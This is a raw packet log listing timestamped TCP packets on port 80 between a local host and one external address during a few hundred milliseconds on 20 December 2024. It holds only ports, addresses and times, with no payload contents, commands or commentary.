Dec 20, 2024 13:12:15.353893995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.353945971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.353980064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.354029894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.354688883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.354738951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.355328083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.355377913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.355504990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.355556011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.355659008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.355707884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.356396914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.356448889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.356524944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.356571913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.357161999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.357212067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.357307911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.357357979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.358330011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.358381033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.358474016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.358524084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.358944893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.358995914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.359057903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.359107971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.359762907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.359812975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.359823942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.359870911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.360526085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.360584021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.360723019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.360778093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.361458063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.361546040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.361583948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.361630917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.362225056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.362274885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.362389088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.362442017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.363048077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.363102913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.363187075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.363240004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.363852024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.363904953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.364371061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.364423037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.364741087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.364794016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.364830971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.364882946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.365551949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.365606070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.365763903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.365817070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.366409063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.366461039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.366486073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.366529942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.367669106 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.367723942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.367928028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.367981911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.368104935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.368158102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.368227005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.368278980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.368943930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.368997097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.369082928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.369137049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.369790077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.369841099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.369869947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.369923115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.370603085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.370656013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.370793104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.370845079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.371429920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.371481895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.371577024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.371629000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.372337103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.372387886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.372426033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.372476101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.373112917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.373162985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.373253107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.373303890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.373886108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.373938084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.523092985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.523171902 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.523354053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.523463011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.523510933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.523638010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.523638010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.524348974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.524359941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.524507046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.525144100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.525199890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.525239944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.525296926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.526099920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.526153088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.526154995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.526196003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.526657104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.526705027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.526823044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.526869059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.527502060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.527569056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.527584076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.527631998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.528369904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.528434038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.528460979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.528511047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.529340982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.529392004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.529403925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.529443026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.530107975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.530165911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.530167103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.530220032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.531039953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.531090021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.531099081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.531140089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.531816959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.531883001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.531905890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.531960011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.532581091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.532643080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.532663107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.532718897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.533407927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.533473969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.533627033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.533679962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.534239054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.534250975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.534291983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.534320116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.534986019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.535098076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.535150051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.535852909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.535865068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.535907030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.536676884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.536729097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.536796093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.536844969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.537503004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.537550926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.537615061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.537662983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.538570881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.538582087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.538634062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.539175034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.539340973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.539391041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.540180922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.540230989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.540283918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.540333986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.540977001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.541023016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.541026115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.541069984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.541827917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.541846991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.541873932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.541898966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.543234110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.543329954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.543396950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.544280052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.544341087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.544452906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.544516087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.545500040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.545551062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.545572042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.545619965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.546165943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.546175957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.546220064 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.546751976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.546808958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.546824932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.546880007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.547318935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.547374964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.547408104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.547456980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.548203945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.548263073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.548371077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.548427105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.548958063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.549011946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.549072027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.549124002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.549902916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.549953938 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.550153971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.550204039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.550717115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.550765991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.550821066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.550875902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.551505089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.551558018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.551616907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.551670074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.552279949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.552330017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.552350044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.552402973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.552874088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.552923918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.552943945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.552993059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.553476095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.553543091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.553606033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.553654909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.554265976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.554318905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.554335117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.554389000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.555059910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.555125952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.555144072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.555223942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.555885077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.555948973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.556000948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.556051016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.556823969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.556869030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.556874990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.556917906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.557565928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.557617903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.557655096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.557703018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.558424950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.558475018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.558553934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.558604956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.559202909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.559254885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.559290886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.559340000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.560036898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.560087919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.560204029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.560255051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.560920000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.560971022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.561028004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.561079025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.561723948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.561775923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.561840057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.561892033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.562582016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.562633038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.562659979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.562711954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.563656092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.563708067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.563744068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.563793898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.564275980 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.564327955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.564488888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.564542055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.565074921 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.565124989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.565166950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.565217018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.565923929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.565974951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.566051006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.566102982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.566704035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.566754103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.715039968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.715197086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.715552092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.715567112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.715634108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.715651035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.715728045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.716273069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.716325045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.716749907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.716799021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.717046976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.717099905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.717353106 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.717401981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.717469931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.717519045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.718242884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.718296051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.719116926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.719127893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.719166040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.719172955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.719216108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.719872952 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.719927073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.720004082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.720055103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.721023083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.721034050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.721076012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.721549034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.721599102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.721764088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.721812010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.722358942 CET	80	49831	31.41.244.11	192.168.2.5
